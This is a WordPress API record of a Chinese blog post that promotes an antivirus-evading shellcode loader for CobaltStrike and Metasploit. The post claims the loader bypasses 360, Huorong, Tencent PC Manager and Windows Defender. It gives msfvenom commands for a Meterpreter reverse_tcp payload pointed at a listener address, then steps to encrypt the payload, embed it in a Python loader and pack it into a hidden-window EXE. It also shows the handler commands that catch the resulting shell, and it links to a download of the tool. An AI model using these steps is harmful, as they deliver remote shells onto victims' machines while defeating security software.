{"id":74,"date":"2023-08-04T23:45:54","date_gmt":"2023-08-04T15:45:54","guid":{"rendered":"https:\/\/meiyitou.top\/?p=74"},"modified":"2023-08-04T23:45:54","modified_gmt":"2023-08-04T15:45:54","slug":"cobaltstrike%e5%85%8d%e6%9d%80shellcode%e5%8a%a0%e8%bd%bd%e5%99%a8","status":"publish","type":"post","link":"https:\/\/meiyitou.top\/index.php\/2023\/08\/04\/cobaltstrike%e5%85%8d%e6%9d%80shellcode%e5%8a%a0%e8%bd%bd%e5%99%a8\/","title":{"rendered":"CobaltStrike\u514d\u6740ShellCode\u52a0\u8f7d\u5668"},"content":{"rendered":"\n

0x01 \u5de5\u5177\u4ecb\u7ecd<\/strong><\/p>\n\n\n\n

ShellCode_Loader – Msf
CobaltStrike\u514d\u6740ShellCode\u52a0\u8f7d\u5668
Shellcode_encryption – \u514d\u6740Shellcode\u52a0\u5bc6\u751f\u6210\u5de5\u5177
\u76ee\u524d\u6d4b\u8bd5\u514d\u6740360&\u706b\u7ed2&\u7535\u8111\u7ba1\u5bb6&Windows Defender\uff08\u5176\u4ed6\u6740\u8f6f\u672a\u6d4b\u8bd5\uff09\u3002<\/p>\n\n\n\n

0x02 \u5b89\u88c5\u4e0e\u4f7f\u7528<\/strong><\/p>\n\n\n\n

1\u3001\u751f\u6210Msf_Payload<\/p>\n\n\n\n

<\/strong><\/strong>msfvenom -p windows\/x64\/meterpreter\/reverse_tcp lhost=192.168.30.20 lport=8899 -f c  -o  payload.c msfvenom -p windows\/x64\/meterpreter\/reverse_tcp lhost=192.168.30.20 lport=8899 -f py -o  payload_py.c<\/code><\/pre>\n\n\n\n
2\u3001\u751f\u6210CobaltStrike_Payload<\/p>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
\u9009\u62e9\u4f7f\u7528x64\u7684C\u8bed\u8a00\u6216Python\u8bed\u8a00\u7684Shellcode\u3002<\/p>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
\u5f97\u5230\u4e00\u4e2apayload.c\u7684\u6587\u4ef6\uff0c\u5185\u5bb9\u4e3a\uff1a<\/p>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
3\u3001\u52a0\u5bc6Payload<\/p>\n\n\n\n
<\/strong><\/strong>Shellcode_encryption.exe    payload.c\n<\/code><\/pre>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
4\u3001\u914d\u7f6eShellCode\u52a0\u8f7d\u5668\uff0c\u5c06\u751f\u6210\u7684\u5bc6\u6587ShellCode \u586b\u81f3 ShellCode_Loader.py \u91cc\u7684 Data = \u2018\u5bc6\u6587Shellcode\u2019 \u5904 \u793a\u4f8b\uff1a<\/p>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
5\u3001\u6253\u5305\u53ef\u6267\u884c\u7a0b\u5e8f(EXE\u7f16\u8bd1\u73af\u5883)\uff0c\u751f\u6210ShellCode_Loader.exe<\/mark>\u5728dist<\/mark>\u76ee\u5f55\u4e2d<\/p>\n\n\n\n
<\/strong><\/strong>Python 3.8.6pyinstaller 4.7pip install -r requirements.txt -i https:\/\/pypi.tuna.tsinghua.edu.cn\/simplepyinstaller -F -w ShellCode_Loader.py<\/code><\/pre>\n\n\n\n
6\u3001\u4e0a\u7ebf\u6d4b\u8bd5
\u8fd0\u884c\u76d1\u542c<\/p>\n\n\n\n
<\/strong><\/strong>msfconsolemsf6 > use exploit\/multi\/handlermsf6 exploit(multi\/handler) > set payload windows\/x64\/meterpreter\/reverse_tcpmsf6 exploit(multi\/handler) > set lhost 0.0.0.0msf6 exploit(multi\/handler) > set lport 8080msf6 exploit(multi\/handler) > run<\/code><\/pre>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
\"640<\/div><\/figure>\n\n\n\n
0x03 \u4e0b\u8f7d\u5730\u5740<\/strong><\/p>\n\n\n\n
https:\/\/meiyitou.top\/wp-content\/uploads\/2023\/08\/ShellCode_Loader-main.zip
<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"
0x01 \u5de5\u5177\u4ecb\u7ecd ShellCode_Loader – MsfCobaltStrike\u514d\u6740She […]<\/p>\n","protected":false},"author":1,"featured_media":77,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,3],"tags":[],"class_list":["post-74","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-4","category-3"],"_links":{"self":[{"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/posts\/74","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/comments?post=74"}],"version-history":[{"count":1,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions"}],"predecessor-version":[{"id":78,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions\/78"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/media\/77"}],"wp:attachment":[{"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/media?parent=74"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/categories?post=74"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/meiyitou.top\/index.php\/wp-json\/wp\/v2\/tags?post=74"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}